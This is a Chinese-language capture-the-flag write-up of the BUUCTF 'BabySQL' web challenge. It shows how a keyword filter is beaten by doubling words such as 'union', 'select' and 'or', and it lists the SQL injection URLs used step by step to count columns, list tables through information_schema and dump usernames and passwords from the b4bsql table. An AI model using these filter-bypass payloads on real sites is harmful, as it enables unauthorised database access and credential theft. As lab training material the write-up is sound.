buuctf web [极客大挑战 2019]BabySQL

buuctf web [极客大挑战 2019]BabySQL_第1张图片

又是你,还来?好好好

依旧老方法,先试探一手

buuctf web [极客大挑战 2019]BabySQL_第2张图片

有错误?

你有一个错误在你的SQL语法;检查与您的MariaDB服务器版本对应的手册,以便在第1行'1=1#'和password='1 "附近使用正确的语法

看来是or被过滤了,试试双写

buuctf web [极客大挑战 2019]BabySQL_第3张图片

双写可以绕过,这下就好办了,后面遇到同样被过滤的词,直接双写就了

1、查看字段数

/check.php?username=1'oorrder bbyy 1%23&password=1'
/check.php?username=1'oorrder bbyy 2%23&password=1'
/check.php?username=1'oorrder bbyy 3%23&password=1'
/check.php?username=1'oorrder bbyy 4%23&password=1'

需要双写or和by

字段为1,2,3的时候页面显示为

buuctf web [极客大挑战 2019]BabySQL_第4张图片

字段为4报错

buuctf web [极客大挑战 2019]BabySQL_第5张图片

2、联合查询1,2,3字段

/check.php?username=1'ununionion seselectlect 1,2,3%23&password=1'

需要双写union和select

buuctf web [极客大挑战 2019]BabySQL_第6张图片

可以再页面上返回信息的是2,3字段

3、爆破当前的库、用户

/check.php?username=1'ununionion seselectlect 1,user(),database()%23&password=1'

需要双写union和select

buuctf web [极客大挑战 2019]BabySQL_第7张图片

4、爆破表

/check.php?username=1'ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()%23&password=1'

需要双写union、select、from、or、where

buuctf web [极客大挑战 2019]BabySQL_第8张图片

5、爆破b4bsql表

/check.php?username=1'ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'%23&password=1'

双写union、select、from、or、where、and

buuctf web [极客大挑战 2019]BabySQL_第9张图片

6、爆破表里的3个数据

/check.php?username=1'ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql%23&password=1

双写union、select、or、from

buuctf web [极客大挑战 2019]BabySQL_第10张图片

flag网页中显示并不完整,打开Shift+F12打开源码就能看到完整的flag

buuctf web [极客大挑战 2019]BabySQL_第11张图片

你可能感兴趣的:(前端)